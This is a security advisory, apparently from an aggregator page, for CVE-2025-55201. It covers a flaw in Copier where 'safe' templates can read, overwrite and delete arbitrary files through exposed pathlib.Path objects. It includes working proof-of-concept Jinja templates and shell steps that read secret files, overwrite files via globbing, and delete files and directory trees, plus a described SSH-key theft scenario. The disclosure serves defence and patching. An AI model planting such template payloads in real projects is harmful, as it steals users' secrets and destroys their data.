NetSight
high8.5

CVE-2025-55201

Copier's safe template has arbitrary filesystem read/write access

Impact

### Impact Copier's current security model shall restrict filesystem access through Jinja: - Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case. - Files are written in the destination directory according to their counterparts in the template. Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless. #### Arbitrary read access Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets. Reproducible example: - Read known file: ```shell echo "s3cr3t" > secret.txt mkdir src/ echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja uvx copier copy src/ dst/ cat dst/stolen-secret.txt ``` - Read unknown file(s) via globbing: ```shell mkdir secrets/ echo "s3cr3t #1" > secrets/secret1.txt echo "s3cr3t #2" > secrets/secret2.txt mkdir src/ cat <<'EOF' > src/stolen-secrets.txt.jinja stolen secrets: {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %} {% for f in parent.glob('*.txt') %} {{ f }}: {{ f.read_text('utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat dst/stolen-secrets.txt ``` #### Arbitrary write access Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc. Reproducible examples: - Overwrite known file: ```shell echo "s3cr3t" > secret.txt mkdir src/ echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja uvx copier copy src/ dst/ cat secret.txt ``` - Overwrite unknown file(s) via globbing: ```shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.write_text('OVERWRITTEN', 'utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt ``` - Delete unknown file(s) via globbing: ```shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.unlink() }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt ``` - Delete unknown files and directories via tree walking: ```shell mkdir data mkdir data/a mkdir data/a/b echo "foo" > data/foo.txt echo "bar" > data/a/bar.txt echo "baz" > data/a/b/baz.txt tree data/ mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %} {% for root, dirs, files in parent.walk(top_down=False) %} {% for name in files %} {{ (root / name).unlink() }} {% endfor %} {% for name in dirs %} {{ (root / name).rmdir() }} {% endfor %} {% endfor %} EOF uvx copier copy src/ dst/ tree data/ ```

Affected packages

EcosystemPackageAffectedFixed in
pipcopier< 9.9.19.9.1

Affected products

ProductAffected versions
Copier Library And CLI App For Rendering Project Templates.
before 9.9.1

Versions were read from the advisory text. No structured product data has been published for this record yet.

Weakness classification

References